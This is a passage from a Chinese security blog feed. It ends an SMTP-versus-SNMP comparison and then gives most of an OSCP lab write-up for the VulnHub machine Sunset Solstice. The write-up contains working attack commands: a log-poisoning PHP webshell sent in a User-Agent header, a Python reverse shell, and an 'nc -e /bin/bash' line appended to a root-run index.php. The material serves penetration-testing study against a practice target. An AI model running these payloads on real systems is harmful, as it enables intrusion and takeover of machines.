&lt;h3 id="核心区别表"&gt;&lt;strong&gt;核心区别表&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;维度&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;SMTP（邮件传输协议）&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;SNMP（网络管理协议）&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;核心功能&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;发送电子邮件&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;监控和管理网络设备&lt;/strong&gt;（路由器/交换机等）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;工作层级&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;应用层协议&lt;/td&gt;
 &lt;td style="text-align: center"&gt;应用层协议&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;传输协议&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;TCP（可靠连接）&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;UDP（无连接，速度快）&lt;/strong&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;默认端口&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;25（明文）/ 587（加密）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;161（Agent）/ 162（Trap）&lt;/strong&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;核心操作&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;MAIL FROM&lt;/code&gt;, &lt;code&gt;RCPT TO&lt;/code&gt;, &lt;code&gt;DATA&lt;/code&gt;发送邮件内容&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;GET&lt;/code&gt;（读数据）, &lt;code&gt;SET&lt;/code&gt;（写配置）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;安全风险&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;用户枚举（VRFY/EXPN命令）、钓鱼邮件&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;信息泄露（MIB树）、设备配置被篡改&lt;/strong&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;典型使用场景&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;邮件服务器（如Exchange, Postfix）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;网络设备（路由器、防火墙、打印机等）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="详细区分指南"&gt;&lt;strong&gt;详细区分指南&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-用途邮件-vs-网管"&gt;&lt;strong&gt;1. 用途：邮件 vs 网管&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SMTP&lt;/strong&gt; = &lt;strong&gt;邮局系统&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;只做一件事：把邮件从A点传输到B点（如 &lt;code&gt;user@a.com&lt;/code&gt;→ &lt;code&gt;user@b.com&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;不存储邮件，不管理设备（类似现实中的邮递员，只负责运送信件）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SNMP&lt;/strong&gt; = &lt;strong&gt;设备监控系统&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;收集设备状态：CPU利用率、内存占用、端口状态（如路由器流量异常）&lt;/li&gt;
&lt;li&gt;远程修改配置：重启接口、调整阈值（类似设备的远程控制面板）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-技术本质区别"&gt;&lt;strong&gt;2. 技术本质区别&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;特性&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;SMTP&lt;/th&gt;
 &lt;th style="text-align: center"&gt;SNMP&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;数据内容&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;邮件正文（文本/附件）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;设备性能数据（数字/状态）&lt;/strong&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;交互模式&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;客户端→服务器（单向发送）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;管理器←→代理（双向读写）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;关键漏洞&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;用户枚举（验证邮箱是否存在）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;团体字符串泄露（默认public）&lt;/strong&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;攻击工具&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;smtp-user-enum&lt;/code&gt;, &lt;code&gt;swaks&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;snmpwalk&lt;/code&gt;, &lt;code&gt;onesixtyone&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="3-实际渗透测试中的区分"&gt;&lt;strong&gt;3. 实际渗透测试中的区分&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;当你看到25/587端口开放&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;→ 这是&lt;strong&gt;邮件服务器&lt;/strong&gt; → 尝试 &lt;strong&gt;SMTP枚举命令&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;telnet 10.1.1.10 &lt;span class="m"&gt;25&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;VRFY root &lt;span class="c1"&gt;# 检测用户&amp;#34;root&amp;#34;是否存在&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;EXPN admins &lt;span class="c1"&gt;# 尝试展开邮件组&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;当你看到161/162端口开放&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;→ 这是&lt;strong&gt;网络设备/服务器&lt;/strong&gt; → 尝试 &lt;strong&gt;SNMP信息收集&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;snmpwalk -c public -v1 10.1.1.20 &lt;span class="c1"&gt;# 遍历MIB树&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;snmp-check -c private 10.1.1.20 &lt;span class="c1"&gt;# 自动提取设备信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="常见混淆点澄清"&gt;&lt;strong&gt;常见混淆点澄清&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;❌ 误区：”SNMP也可以传输数据，所以类似SMTP？“&lt;/p&gt;
&lt;p&gt;→ &lt;strong&gt;更正&lt;/strong&gt;：SNMP传输的是&lt;strong&gt;设备状态数据&lt;/strong&gt;（如温度值90°C），SMTP传输的是&lt;strong&gt;用户生成的邮件内容&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;❌ 误区：”两者都用字符串认证（如SMTP密码 vs SNMP团体名），所以是一类协议？“&lt;/p&gt;
&lt;p&gt;→ &lt;strong&gt;更正&lt;/strong&gt;：SMTP认证用于&lt;strong&gt;邮件发送权限&lt;/strong&gt;，SNMP团体字符串用于&lt;strong&gt;设备管理权限&lt;/strong&gt;（后者常导致严重配置泄露）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="记忆口诀"&gt;&lt;strong&gt;记忆口诀&lt;/strong&gt;
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;📌 &lt;strong&gt;“邮差SMTP送信忙，网管SNMP查设备”&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SMTP&lt;/strong&gt; → 联想 &lt;strong&gt;信封/邮件&lt;/strong&gt;（S for Send Mail）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SNMP&lt;/strong&gt; → 联想 &lt;strong&gt;网络设备&lt;/strong&gt;（S for System/Network Management）&lt;/li&gt;
&lt;/ul&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;下次实战&lt;/strong&gt;：扫描到161端口？立刻反应：这是SNMP协议 → 尝试爆破团体字符串 → 用snmpwalk查设备信息。完全不同的攻击路径！&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>OSCP官方靶场-Solstice WP</title><link>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-solstice-wp/</link><pubDate>Thu, 10 Jul 2025 20:11:15 +0000</pubDate><guid>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-solstice-wp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post OSCP官方靶场-Solstice WP" /&gt;&lt;p&gt;官方网页打开或靶场下载链接&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/sunset-solstice,499/" target="_blank" rel="noopener"
 &gt;https://www.vulnhub.com/entry/sunset-solstice,499/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250709230105370" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250709230105370.png"&gt;&lt;/p&gt;
&lt;h2 id="信息收集"&gt;信息收集
&lt;/h2&gt;&lt;p&gt;靶机地址：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;192.168.149.72
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描开放的端口，使用VPN扫描又挂代理的话，有一定机率扫漏了。考试时候建议用官方的My kali先扫一遍，是最快最全的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;10000&lt;/span&gt; -Pn 192.168.149.72 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.149.72
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sU --min-rate &lt;span class="m"&gt;10000&lt;/span&gt; -p- -Pn 192.168.149.72
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250709234112729" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250709234112729.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250709234224375" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250709234224375.png"&gt;&lt;/p&gt;
&lt;p&gt;再次细致的扫描端口上的组件和版本信息，这里VPN断了，所以没有扫除具体信息。从之前用官方的My Kali扫描的信息能获得一些端口的信息。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.149.72
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;从之前的扫描信息中看，除了80端口，还有8593端口也开放，一个一个点开了看看有什么。&lt;/p&gt;
&lt;h2 id="文件包含"&gt;文件包含
&lt;/h2&gt;&lt;p&gt;从8593端口的链接方式猜测似乎有文件包含漏洞&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250709231401434" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250709231401434.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250709231520705" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250709231520705.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;../../../../../../../../../var/log/apache2/access.log
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250709231630557" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250709231630557.png"&gt;&lt;/p&gt;
&lt;h2 id="log文件投毒"&gt;log文件投毒
&lt;/h2&gt;&lt;p&gt;可以看到log文件中记录了请求头，我们下一步在请求头中写入一句话木马，就可以把log污染成马。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250709232242474" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250709232242474.png"&gt;&lt;/p&gt;
&lt;p&gt;到这里链接断了，换了重启靶机后IP更换为 192.168.196.72，用Win本机的Burp抓不上包改用命令行注入&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;GET / HTTP/1.1\r\nHost: 192.168.51.72\r\nUser-Agent: &amp;lt;?php system(\$_GET[&amp;#39;cmd&amp;#39;]); ?&amp;gt;\r\nConnection: close\r\n\r\n&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; nc 192.168.51.72 &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;或者
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;nc 192.168.43.127 &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;回车输入GET /&amp;lt;?php system&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cmd&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; ?&amp;gt; HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或者也可以用浏览器工具，但是这个似乎不成功。&lt;img alt="image-20250710003309613" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250710003309613.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250710004546301" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250710004546301.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250710185738215.png"&gt;&lt;/p&gt;
&lt;h2 id="反弹shell"&gt;反弹Shell
&lt;/h2&gt;&lt;p&gt;然后把命令换成反弹shell的命令，这个本机的地址&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250710185857832" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250710185857832.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22192.168.45.180%22%2C4777%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29%27
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250710190001303" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250710190001303.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250710190610339" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250710190610339.png"&gt;&lt;/p&gt;
&lt;h2 id="提权"&gt;提权
&lt;/h2&gt;&lt;p&gt;输入以下命令查找有root权限的文件和进程&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ps -aux &lt;span class="p"&gt;|&lt;/span&gt; grep root
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250710190828278" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250710190828278.png"&gt;&lt;/p&gt;
&lt;p&gt;可以发现在&lt;code&gt;/var/tmp/sv/&lt;/code&gt;目录下似乎有一些奇特的东西&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250710191018509" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250710191018509.png"&gt;&lt;/p&gt;
&lt;p&gt;这是一个php文件，是网页主页的文件，从命令来看，他开在57端口。下一步的思路就是，把这个php改成能提权弹shell的木马。然后访问57端口就能激活这个一句话木马。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;lt;?php system(&amp;#39;nc 192.168.45.180 4445 -e /bin/bash&amp;#39;)?&amp;gt;&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; index.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250710191449724" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250710191449724.png"&gt;&lt;/p&gt;
&lt;p&gt;57这个端口没有对外开放，所以我们只能在shell上弹一下。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;.&lt;span class="se"&gt;\n&lt;/span&gt;c.exe -lvnp &lt;span class="m"&gt;4445&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;curl 127.0.0.1:57/index.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250710191917323" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250710191917323.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250710192103336" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250710192103336.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250710192817296" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250710192817296.png"&gt;&lt;/p&gt;
&lt;h2 id="补充知识点"&gt;补充知识点
&lt;/h2&gt;&lt;h3 id="usrsbinnologin和binbash的区别"&gt;&lt;strong&gt;/usr/sbin/nologin&lt;/strong&gt;和**/bin/bash**的区别
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;特性&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;/usr/sbin/nologin&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;/bin/bash&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;基本用途&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;禁止交互式登录&lt;/td&gt;
 &lt;td style="text-align: center"&gt;允许交互式命令行操作&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;用户类型&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;系统服务账户（如 mysql, www-data）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;普通用户或管理员账户&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;登录行为&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;▶ 拒绝登录 ▶ 显示预设提示信息（默认或自定义）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;▶ 允许登录 ▶ 启动 Bash 交互环境&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;Shell 功能&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;无执行能力（仅返回错误信息）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;完整命令行解释器（支持脚本/命令）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;自定义提示&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;支持（通过 &lt;code&gt;/etc/nologin.txt&lt;/code&gt; 文件）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;通过 &lt;code&gt;~/.bashrc&lt;/code&gt; 自定义&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
